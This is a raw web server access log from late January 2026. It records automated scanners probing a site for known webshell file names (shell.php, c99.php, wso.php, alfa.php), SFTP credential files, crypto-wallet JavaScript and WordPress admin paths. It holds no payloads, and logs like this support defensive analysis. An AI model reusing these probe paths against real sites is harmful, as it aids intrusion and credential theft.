- - [27/Jan/2026:13:17:23 +0300] "GET /wp-json/wp/v2/posts HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 165.245.182.112 - - [27/Jan/2026:15:23:06 +0300] "GET / HTTP/1.1" 301 795 "https://classtech.oit.ncsu.edu//blog//wp-login.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36" 161.35.176.179 - - [27/Jan/2026:15:18:32 +0300] "GET /wp-admin/css/ HTTP/1.1" 301 795 "binance.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 122.51.236.174 - - [27/Jan/2026:15:50:54 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 193.182.4.46 - - [27/Jan/2026:15:52:21 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Viewer/99.9.8853.8" 193.43.159.166 - - [27/Jan/2026:16:29:55 +0300] "GET /wp-json/wp/v2/posts HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 170.106.113.159 - - [27/Jan/2026:16:53:54 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 165.245.182.112 - - [27/Jan/2026:16:52:33 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4240.193 Safari/537.36" 43.131.23.154 - - [27/Jan/2026:17:47:45 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 173.252.87.1 - - [27/Jan/2026:18:55:55 +0300] "GET / HTTP/1.1" 301 795 "-" "facebookexternalhit/1.1 (+http://www.facebook.com/externalhit_uatext.php)" 141.98.11.44 - - [27/Jan/2026:19:02:20 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "https://www.google.com/search?q=wordpress" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 77.90.185.247 - - [27/Jan/2026:21:06:47 +0300] "GET /config.js HTTP/1.1" 301 795 "-" "Python-urllib/3.9" 77.90.185.247 - - [27/Jan/2026:21:06:49 +0300] "GET /crypto/server.js HTTP/1.1" 301 795 "-" "Python-urllib/3.9" 77.90.185.247 - - [27/Jan/2026:21:06:50 +0300] "GET /crypto/app.js HTTP/1.1" 301 795 "-" "Python-urllib/3.9" 77.90.185.247 - - [27/Jan/2026:21:06:58 +0300] "GET /backend/index.js HTTP/1.1" 301 795 "-" "Python-urllib/3.9" 213.35.97.64 - - [27/Jan/2026:19:40:56 +0300] "GET /login HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 Chrome/116.0 Safari/537.36" 77.90.185.247 - - [27/Jan/2026:21:06:43 +0300] "GET /app.js HTTP/1.1" 301 795 "-" "Python-urllib/3.9" 77.90.185.247 - - [27/Jan/2026:21:06:46 +0300] "GET /index.js HTTP/1.1" 301 795 "-" "Python-urllib/3.9" 77.90.185.247 - - [27/Jan/2026:21:06:51 +0300] "GET /trc20/index.js HTTP/1.1" 301 795 "-" "Python-urllib/3.9" 77.90.185.247 - - [27/Jan/2026:21:06:58 +0300] "GET /backend/server.js HTTP/1.1" 301 795 "-" "Python-urllib/3.9" 77.90.185.247 - - [27/Jan/2026:21:06:59 +0300] "GET /config/server.js HTTP/1.1" 301 795 "-" "Python-urllib/3.9" 213.35.97.64 - - [27/Jan/2026:19:40:45 +0300] "GET /user/login HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 13_5_1) AppleWebKit/605.1.15 Safari/605.1.15" 213.35.97.64 - - [27/Jan/2026:19:41:00 +0300] "GET /register HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 17_4_1 like Mac OS X) AppleWebKit/605.1.15 Mobile/15E148" 77.90.185.247 - - [27/Jan/2026:21:06:45 +0300] "GET /server.js HTTP/1.1" 301 795 "-" "Python-urllib/3.9" 77.90.185.247 - - [27/Jan/2026:21:06:49 +0300] "GET /crypto/index.js HTTP/1.1" 301 795 "-" "Python-urllib/3.9" 77.90.185.247 - - [27/Jan/2026:21:06:50 +0300] "GET /tron/server.js HTTP/1.1" 301 795 "-" "Python-urllib/3.9" 77.90.185.247 - - [27/Jan/2026:21:06:50 +0300] "GET /trc/index.js HTTP/1.1" 301 795 "-" "Python-urllib/3.9" 77.90.185.247 - - [27/Jan/2026:21:06:53 +0300] "GET /bsc/index.js HTTP/1.1" 301 795 "-" "Python-urllib/3.9" 77.90.185.247 - - [27/Jan/2026:21:06:58 +0300] "GET /bep20/index.js HTTP/1.1" 301 795 "-" "Python-urllib/3.9" 77.90.185.247 - - [27/Jan/2026:21:06:59 +0300] "GET /main.js HTTP/1.1" 301 795 "-" "Python-urllib/3.9" 77.90.185.247 - - [27/Jan/2026:21:06:59 +0300] "GET /main/server.js HTTP/1.1" 301 795 "-" "Python-urllib/3.9" 213.35.97.64 - - [27/Jan/2026:19:40:33 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) Gecko/20100101 Firefox/117.0" 213.35.97.64 - - [27/Jan/2026:19:40:34 +0300] "GET / HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 213.35.97.64 - - [27/Jan/2026:19:40:35 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 13_5_1) AppleWebKit/605.1.15 Safari/605.1.15" 213.35.97.64 - - [27/Jan/2026:19:40:35 +0300] "GET /wp-admin/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 17_4_1 like Mac OS X) AppleWebKit/605.1.15 Mobile/15E148" 213.35.97.64 - - [27/Jan/2026:19:40:50 +0300] "GET /admin HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPad; CPU OS 17_4 like Mac OS X) AppleWebKit/605.1.15 Mobile/15E148" 77.90.185.247 - - [27/Jan/2026:21:06:47 +0300] "GET /config/db.js HTTP/1.1" 301 795 "-" "Python-urllib/3.9" 77.90.185.247 - - [27/Jan/2026:21:06:47 +0300] "GET /api/server.js HTTP/1.1" 301 795 "-" "Python-urllib/3.9" 77.90.185.247 - - [27/Jan/2026:21:06:48 +0300] "GET /wallet/server.js HTTP/1.1" 301 795 "-" "Python-urllib/3.9" 77.90.185.247 - - [27/Jan/2026:21:06:47 +0300] "GET /api/index.js HTTP/1.1" 301 795 "-" "Python-urllib/3.9" 77.90.185.247 - - [27/Jan/2026:21:06:48 +0300] "GET /dist/index.js HTTP/1.1" 301 795 "-" "Python-urllib/3.9" 77.90.185.247 - - [27/Jan/2026:21:06:46 +0300] "GET /src/app.js HTTP/1.1" 301 795 "-" "Python-urllib/3.9" 77.90.185.247 - - [27/Jan/2026:21:06:48 +0300] "GET /build/index.js HTTP/1.1" 301 795 "-" "Python-urllib/3.9" 213.35.97.64 - - [27/Jan/2026:19:40:40 +0300] "GET /administrator/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) Gecko/20100101 Firefox/117.0" 213.35.97.64 - - [27/Jan/2026:19:41:10 +0300] "GET /login HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) Gecko/20100101 Firefox/117.0" 77.90.185.247 - - [27/Jan/2026:21:06:46 +0300] "GET /src/index.js HTTP/1.1" 301 795 "-" "Python-urllib/3.9" 77.90.185.247 - - [27/Jan/2026:21:06:47 +0300] "GET /src/server.js HTTP/1.1" 301 795 "-" "Python-urllib/3.9" 77.90.185.247 - - [27/Jan/2026:21:06:48 +0300] "GET /api/app.js HTTP/1.1" 301 795 "-" "Python-urllib/3.9" 77.90.185.247 - - [27/Jan/2026:21:06:49 +0300] "GET /wallet/index.js HTTP/1.1" 301 795 "-" "Python-urllib/3.9" 77.90.185.247 - - [27/Jan/2026:21:06:49 +0300] "GET /wallet/app.js HTTP/1.1" 301 795 "-" "Python-urllib/3.9" 77.90.185.247 - - [27/Jan/2026:21:06:50 +0300] "GET /tron/index.js HTTP/1.1" 301 795 "-" "Python-urllib/3.9" 77.90.185.247 - - [27/Jan/2026:21:06:50 +0300] "GET /trc/trc20.js HTTP/1.1" 301 795 "-" "Python-urllib/3.9" 77.90.185.247 - - [27/Jan/2026:21:07:01 +0300] "GET /.next/server/pages/index.js HTTP/1.1" 301 795 "-" "Python-urllib/3.9" 43.166.239.145 - - [27/Jan/2026:23:11:41 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 170.106.192.3 - - [28/Jan/2026:00:11:36 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 141.98.11.239 - - [27/Jan/2026:23:32:01 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0" 167.88.165.61 - - [28/Jan/2026:01:54:32 +0300] "GET /unzipper.php HTTP/1.1" 301 795 "-" "Python-urllib/2.7" 103.77.106.81 - - [28/Jan/2026:01:36:31 +0300] "GET /sftp-config.json HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:77.0) Gecko/20100101 Firefox/77.0" 103.77.106.81 - - [28/Jan/2026:01:36:35 +0300] "GET /.vscode/sftp.json HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:77.0) Gecko/20100101 Firefox/77.0" 212.108.115.154 - - [28/Jan/2026:02:35:09 +0300] "GET /wp-json/wp/v2/posts HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 141.98.11.44 - - [28/Jan/2026:05:06:50 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "https://t.co/" "Mozilla/5.0 (Windows NT 11.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36" 62.169.23.36 - - [28/Jan/2026:05:06:35 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 121.229.185.160 - - [28/Jan/2026:04:29:10 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 43.163.104.54 - - [28/Jan/2026:05:45:26 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 220.181.51.116 - - [28/Jan/2026:05:52:42 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/48.0.2564.116 Safari/537.36" 119.249.100.242 - - [28/Jan/2026:05:53:12 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/48.0.2564.116 Safari/537.36" 207.180.240.134 - - [28/Jan/2026:05:37:03 +0300] "GET /wp-admin/css/ HTTP/1.1" 301 795 "binance.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 119.148.35.38 - - [28/Jan/2026:07:40:29 +0300] "GET /wp-json/wp/v2/posts HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.202.4.80 - - [28/Jan/2026:06:21:05 +0300] "GET /txets.php HTTP/1.1" 301 795 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)" 43.157.22.109 - - [28/Jan/2026:06:39:05 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 103.214.234.68 - - [28/Jan/2026:08:58:37 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 27.46.75.5 - - [28/Jan/2026:08:32:22 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.4318.81 UBrowser/6.2.3964.2 Safari/537.36" 170.106.35.187 - - [28/Jan/2026:11:56:58 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 185.242.3.2 - - [28/Jan/2026:10:24:03 +0300] "GET / HTTP/1.1" 301 795 "-" "-" 44.195.201.244 - - [28/Jan/2026:11:44:21 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/600.2.5 (KHTML, like Gecko) Version/8.0.2 Safari/600.2.5 (TestUserAgent)" 4.241.184.25 - - [28/Jan/2026:12:37:27 +0300] "GET //wp-includes/assets/index.php HTTP/1.1" 301 795 "-" "-" 4.241.184.25 - - [28/Jan/2026:12:38:22 +0300] "GET /sto.php HTTP/1.1" 301 795 "-" "-" 4.241.184.25 - - [28/Jan/2026:12:38:56 +0300] "GET /wp-admin/install.php HTTP/1.1" 301 795 "-" "-" 4.241.184.25 - - [28/Jan/2026:12:38:59 +0300] "GET /o.php HTTP/1.1" 301 795 "-" "-" 4.241.184.25 - - [28/Jan/2026:12:41:36 +0300] "GET /ze.php HTTP/1.1" 301 795 "-" "-" 4.241.184.25 - - [28/Jan/2026:12:37:01 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 4.241.184.25 - - [28/Jan/2026:12:37:06 +0300] "GET //autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 4.241.184.25 - - [28/Jan/2026:12:37:32 +0300] "GET /luxe.php HTTP/1.1" 301 795 "-" "-" 4.241.184.25 - - [28/Jan/2026:12:37:36 +0300] "GET /update/wpupex.php/ HTTP/1.1" 301 795 "-" "-" 4.241.184.25 - - [28/Jan/2026:12:37:38 +0300] "GET /rezor.php HTTP/1.1" 301 795 "-" "-" 4.241.184.25 - - [28/Jan/2026:12:37:40 +0300] "GET //doc.php HTTP/1.1" 301 795 "-" "-" 4.241.184.25 - - [28/Jan/2026:12:37:43 +0300] "GET //wp-admin/user/index.php HTTP/1.1" 301 795 "-" "-" 4.241.184.25 - - [28/Jan/2026:12:39:40 +0300] "GET //h.php HTTP/1.1" 301 795 "-" "-" 4.241.184.25 - - [28/Jan/2026:12:40:52 +0300] "GET /shell.php HTTP/1.1" 301 795 "-" "-" 4.241.184.25 - - [28/Jan/2026:12:40:53 +0300] "GET /wp-includes/IXR/moon.php HTTP/1.1" 301 795 "-" "-" 4.241.184.25 - - [28/Jan/2026:12:40:59 +0300] "GET /sxo.php HTTP/1.1" 301 795 "-" "-" 4.241.184.25 - - [28/Jan/2026:12:41:04 +0300] "GET //admin.php HTTP/1.1" 301 795 "-" "-" 4.241.184.25 - - [28/Jan/2026:12:41:08 +0300] "GET /wp-admin/ HTTP/1.1" 301 795 "-" "-" 4.241.184.25 - - [28/Jan/2026:12:39:07 +0300] "GET //wp-includes/ID3/index.php HTTP/1.1" 301 795 "-" "-" 4.241.184.25 - - [28/Jan/2026:12:39:25 +0300] "GET //wp.php HTTP/1.1" 301 795 "-" "-" 4.241.184.25 - - [28/Jan/2026:12:41:41 +0300] "GET //geck.php HTTP/1.1" 301 795 "-" "-" 4.241.184.25 - - [28/Jan/2026:12:37:57 +0300] "GET //install.php HTTP/1.1" 301 795 "-" "-" 4.241.184.25 - - [28/Jan/2026:12:38:07 +0300] "GET /~norapump/hah.php HTTP/1.1" 301 795 "-" "-" 4.241.184.25 - - [28/Jan/2026:12:39:14 +0300] "GET /class-t.api.php HTTP/1.1" 301 795 "-" "-" 4.241.184.25 - - [28/Jan/2026:12:39:20 +0300] "GET /.trash7309/f/ HTTP/1.1" 301 795 "-" "-" 4.241.184.25 - - [28/Jan/2026:12:39:31 +0300] "GET //wp-includes/customize/index.php HTTP/1.1" 301 795 "-" "-" 4.241.184.25 - - [28/Jan/2026:12:39:34 +0300] "GET //wp-content/themes/seotheme/mar.php HTTP/1.1" 301 795 "-" "-" 4.241.184.25 - - [28/Jan/2026:12:39:58 +0300] "GET /wp-includes/css/ HTTP/1.1" 301 795 "-" "-" 4.241.184.25 - - [28/Jan/2026:12:39:59 +0300] "GET /images/c99.php HTTP/1.1" 301 795 "-" "-" 4.241.184.25 - - [28/Jan/2026:12:40:01 +0300] "GET /png.php HTTP/1.1" 301 795 "-" "-" 4.241.184.25 - - [28/Jan/2026:12:40:08 +0300] "GET //wp-includes/ID3/index.php HTTP/1.1" 301 795 "-" "-" 4.241.184.25 - - [28/Jan/2026:12:40:09 +0300] "GET //zwso.php HTTP/1.1" 301 795 "-" "-" 4.241.184.25 - - [28/Jan/2026:12:37:21 +0300] "GET //alfa.php HTTP/1.1" 301 795 "-" "-" 4.241.184.25 - - [28/Jan/2026:12:40:46 +0300] "GET /a2.php HTTP/1.1" 301 795 "-" "-" 4.241.184.25 - - [28/Jan/2026:12:38:48 +0300] "GET /wp-includes/blocks/ HTTP/1.1" 301 795 "-" "-" 4.241.184.25 - - [28/Jan/2026:12:38:49 +0300] "GET /n3.php HTTP/1.1" 301 795 "-" "-" 4.241.184.25 - - [28/Jan/2026:12:39:45 +0300] "GET //skin/install/default/security.php HTTP/1.1" 301 795 "-" "-" 4.241.184.25 - - [28/Jan/2026:12:40:18 +0300] "GET //wp-content/languages/index.php HTTP/1.1" 301 795 "-" "-" 4.241.184.25 - - [28/Jan/2026:12:40:22 +0300] "GET //wp-content/ HTTP/1.1" 301 795 "-" "-" 4.241.184.25 - - [28/Jan/2026:12:40:23 +0300] "GET /wp/wp-includes//index.php HTTP/1.1" 301 795 "-" "-" 4.241.184.25 - - [28/Jan/2026:12:41:16 +0300] "GET //wp-content/ HTTP/1.1" 301 795 "-" "-" 4.241.184.25 - - [28/Jan/2026:12:41:17 +0300] "GET /mans.php HTTP/1.1" 301 795 "-" "-" 4.241.184.25 - - [28/Jan/2026:12:41:21 +0300] "GET //dropdown.php HTTP/1.1" 301 795 "-" "-" 4.241.184.25 - - [28/Jan/2026:12:37:50 +0300] "GET //wp-includes/css/about.php HTTP/1.1" 301 795 "-" "-" 4.241.184.25 - - [28/Jan/2026:12:38:29 +0300] "GET //x.php HTTP/1.1" 301 795 "-" "-" 4.241.184.25 - - [28/Jan/2026:12:39:49 +0300] "GET /wrt.php HTTP/1.1" 301 795 "-" "-" 4.241.184.25 - - [28/Jan/2026:12:39:52 +0300] "GET //wp-content/plugins/Core-EconX/up.php HTTP/1.1" 301 795 "-" "-" 4.241.184.25 - - [28/Jan/2026:12:40:40 +0300] "GET /images/fk2e3/ HTTP/1.1" 301 795 "-" "-" 4.241.184.25 - - [28/Jan/2026:12:41:30 +0300] "GET /WordPress/x/ HTTP/1.1" 301 795 "-" "-" 4.241.184.25 - - [28/Jan/2026:12:38:37 +0300] "GET //test.php HTTP/1.1" 301 795 "-" "-" 4.241.184.25 - - [28/Jan/2026:12:40:30 +0300] "GET /ton.php HTTP/1.1" 301 795 "-" "-" 4.241.184.25 - - [28/Jan/2026:12:40:33 +0300] "GET //wso.php HTTP/1.1" 301 795 "-" "-" 4.241.184.25 - - [28/Jan/2026:12:41:50 +0300] "GET /menu.php HTTP/1.1" 301 795 "-" "-" 4.241.184.25 - - [28/Jan/2026:12:41:55 +0300] "GET //admin/function.php HTTP/1.1" 301 795 "-" "-" 4.241.184.25 - - [28/Jan/2026:12:43:00 +0300] "GET /gm.php HTTP/1.1" 301 795 "-" "-" 77.90.185.247 - - [28/Jan/2026:12:46:57 +0300] "GET /server.js HTTP/1.1" 301 795 "-" "Python-urllib/3.9" 77.90.185.247 - - [28/Jan/2026:12:47:26 +0300] "GET /config/db.js HTTP/1.1" 301 795 "-" "Python-urllib/3.9" 77.90.185.247 - - [28/Jan/2026:12:48:20 +0300] "GET /wallet/index.js HTTP/1.1" 301 795 "-" "Python-urllib/3.9" 77.90.185.247 - - [28/Jan/2026:12:49:05 +0300] "GET /tron/server.js HTTP/1.1" 301 795 "-" "Python-urllib/3.9" 77.90.185.247 - - [28/Jan/2026:12:49:51 +0300] "GET /bsc/index.js HTTP/1.1" 301 795 "-" "Python-urllib/3.9" 4.241.184.25 - - [28/Jan/2026:12:49:52 +0300] "GET /.trash7309/dd/ HTTP/1.1" 301 795 "-" "-" 4.241.184.25 - - [28/Jan/2026:12:49:59 +0300] "GET /cache.php HTTP/1.1" 301 795 "-" "-" 4.241.184.25 - - [28/Jan/2026:12:51:08 +0300] "GET //403.php HTTP/1.1" 301 795 "-" "-" 4.241.184.25 - - [28/Jan/2026:12:52:42 +0300] "GET /dropdown.php HTTP/1.1" 301 795 "-" "-" 4.241.184.25 - - [28/Jan/2026:12:52:43 +0300] "GET /dlu.php HTTP/1.1" 301 795 "-" "-" 205.210.31.72 - - [28/Jan/2026:13:55:17 +0300] "GET / HTTP/1.1" 301 795 "-" "Hello from Palo Alto Networks, find out more about our scans in https://docs-cortex.paloaltonetworks.com/r/1/Cortex-Xpanse/Scanning-activity" 4.241.184.25 - - [28/Jan/2026:12:42:18 +0300] "GET /flower.php HTTP/1.1" 301 795 "-" "-" 4.241.184.25 - - [28/Jan/2026:12:45:25 +0300] "GET //w.php HTTP/1.1" 301 795 "-" "-" 4.241.184.25 - - [28/Jan/2026:12:46:10 +0300] "GET /wp-miiss.php.php HTTP/1.1" 301 795 "-" "-" 4.241.184.25 - - [28/Jan/2026:12:48:00 +0300] "GET /wp-is.php HTTP/1.1" 301 795 "-" "-" 77.90.185.247 - - [28/Jan/2026:12:48:30 +0300] "GET /wallet/app.js HTTP/1.1" 301 795 "-" "Python-urllib/3.9" 77.90.185.247 - - [28/Jan/2026:12:48:37 +0300] "GET /crypto/server.js HTTP/1.1" 301 795 "-" "Python-urllib/3.9" 4.241.184.25 - - [28/Jan/2026:12:49:21 +0300] "GET /wp-content/ HTTP/1.1" 301 795 "-" "-" 4.241.184.25 - - [28/Jan/2026:12:49:22 +0300] "GET /ps.php HTTP/1.1" 301 795 "-" "-" 4.241.184.25 - - [28/Jan/2026:12:49:37 +0300] "GET //wp-content/themes/about.php HTTP/1.1" 301 795 "-" "-" 77.90.185.247 - - [28/Jan/2026:12:50:13 +0300] "GET /backend/index.js HTTP/1.1" 301 795 "-" "Python-urllib/3.9" 77.90.185.247 - - [28/Jan/2026:12:50:32 +0300] "GET /.next/server/pages/index.js HTTP/1.1" 301 795 "-" "Python-urllib/3.9" 4.241.184.25 - - [28/Jan/2026:12:51:57 +0300] "GET /v2.php HTTP/1.1" 301 795 "-" "-" 4.241.184.25 - - [28/Jan/2026:12:52:01 +0300] "GET //wp-content/themes/hideo/network.php HTTP/1.1" 301 795 "-" "-" 4.241.184.25 - - [28/Jan/2026:12:42:03 +0300] "GET //index/function.php HTTP/1.1" 301 795 "-" "-" 4.241.184.25 - - [28/Jan/2026:12:42:28 +0300] "GET /ftp.php HTTP/1.1" 301 795 "-" "-" 4.241.184.25 - - [28/Jan/2026:12:44:26 +0300] "GET /system.php HTTP/1.1" 301 795 "-" "-" 4.241.184.25 - - [28/Jan/2026:12:47:05 +0300] "GET /hey.php HTTP/1.1" 301 795 "-" "-" 77.90.185.247 - - [28/Jan/2026:12:47:38 +0300] "GET /config.js HTTP/1.1" 301 795 "-" "Python-urllib/3.9" 77.90.185.247 - - [28/Jan/2026:12:47:45 +0300] "GET /api/server.js HTTP/1.1" 301 795 "-" "Python-urllib/3.9" 4.241.184.25 - - [28/Jan/2026:12:48:24 +0300] "GET /bnn_.php HTTP/1.1" 301 795 "-" "-" 4.241.184.25 - - [28/Jan/2026:12:50:20 +0300] "GET /p.php HTTP/1.1" 301 795 "-" "-" 77.90.185.247 - - [28/Jan/2026:12:50:23 +0300] "GET /main.js HTTP/1.1" 301 795 "-" "Python-urllib/3.9" 77.90.185.247 - - [28/Jan/2026:12:50:32 +0300] "GET /main/server.js HTTP/1.1" 301 795 "-" "Python-urllib/3.9" 4.241.184.25 - - [28/Jan/2026:12:50:51 +0300] "GET /wp-includes/block-patterns/ HTTP/1.1" 301 795 "-" "-" 4.241.184.25 - - [28/Jan/2026:12:50:52 +0300] "GET //index/function.php HTTP/1.1" 301 795 "-" "-" 4.241.184.25 - - [28/Jan/2026:12:52:19 +0300] "GET /dr.php HTTP/1.1" 301 795 "-" "-" 4.241.184.25 - - [28/Jan/2026:12:42:48 +0300] "GET //wp-admin/class-db.php HTTP/1.1" 301 795 "-" "-" 4.241.184.25 - - [28/Jan/2026:12:43:31 +0300] "GET /bolt.php HTTP/1.1" 301 795 "-" "-" 4.241.184.25 - - [28/Jan/2026:12:43:57 +0300] "GET //inputs.php HTTP/1.1" 301 795 "-" "-" 4.241.184.25 - - [28/Jan/2026:12:44:39 +0300] "GET /wp-admin/maint/ HTTP/1.1" 301 795 "-" "-" 4.241.184.25 - - [28/Jan/2026:12:44:40 +0300] "GET /wp-admin/network/ HTTP/1.1" 301 795 "-" "-" 4.241.184.25 - - [28/Jan/2026:12:44:55 +0300] "GET /museu/yhweq.php HTTP/1.1" 301 795 "-" "-" 4.241.184.25 - - [28/Jan/2026:12:45:40 +0300] "GET /gmo.php HTTP/1.1" 301 795 "-" "-" 4.241.184.25 - - [28/Jan/2026:12:46:40 +0300] "GET //moon.php HTTP/1.1" 301 795 "-" "-" 77.90.185.247 - - [28/Jan/2026:12:46:51 +0300] "GET /app.js HTTP/1.1" 301 795 "-" "Python-urllib/3.9" 4.241.184.25 - - [28/Jan/2026:12:47:12 +0300] "GET //wp-content/themes/seotheme/mar.php HTTP/1.1" 301 795 "-" "-" 4.241.184.25 - - [28/Jan/2026:12:47:52 +0300] "GET /m.php HTTP/1.1" 301 795 "-" "-" 77.90.185.247 - - [28/Jan/2026:12:48:57 +0300] "GET /crypto/app.js HTTP/1.1" 301 795 "-" "Python-urllib/3.9" 77.90.185.247 - - [28/Jan/2026:12:50:32 +0300] "GET /config/server.js HTTP/1.1" 301 795 "-" "Python-urllib/3.9" 4.241.184.25 - - [28/Jan/2026:12:52:25 +0300] "GET /raw.php HTTP/1.1" 301 795 "-" "-" 4.241.184.25 - - [28/Jan/2026:12:52:28 +0300] "GET //wp-includes/css/about.php HTTP/1.1" 301 795 "-" "-" 4.241.184.25 - - [28/Jan/2026:12:52:31 +0300] "GET //wp-content/index.php HTTP/1.1" 301 795 "-" "-" 4.241.184.25 - - [28/Jan/2026:12:52:32 +0300] "GET /ioxi-o2.php HTTP/1.1" 301 795 "-" "-" 4.241.184.25 - - [28/Jan/2026:12:43:22 +0300] "GET //elp.php HTTP/1.1" 301 795 "-" "-" 4.241.184.25 - - [28/Jan/2026:12:45:55 +0300] "GET /gib.php HTTP/1.1" 301 795 "-" "-" 4.241.184.25 - - [28/Jan/2026:12:46:55 +0300] "GET /filesss.php HTTP/1.1" 301 795 "-" "-" 77.90.185.247 - - [28/Jan/2026:12:47:13 +0300] "GET /src/app.js HTTP/1.1" 301 795 "-" "Python-urllib/3.9" 77.90.185.247 - - [28/Jan/2026:12:47:20 +0300] "GET /api/index.js HTTP/1.1" 301 795 "-" "Python-urllib/3.9" 4.241.184.25 - - [28/Jan/2026:12:47:32 +0300] "GET //buy.php HTTP/1.1" 301 795 "-" "-" 77.90.185.247 - - [28/Jan/2026:12:48:11 +0300] "GET /wallet/server.js HTTP/1.1" 301 795 "-" "Python-urllib/3.9" 4.241.184.25 - - [28/Jan/2026:12:48:55 +0300] "GET //shell20211028.php HTTP/1.1" 301 795 "-" "-" 4.241.184.25 - - 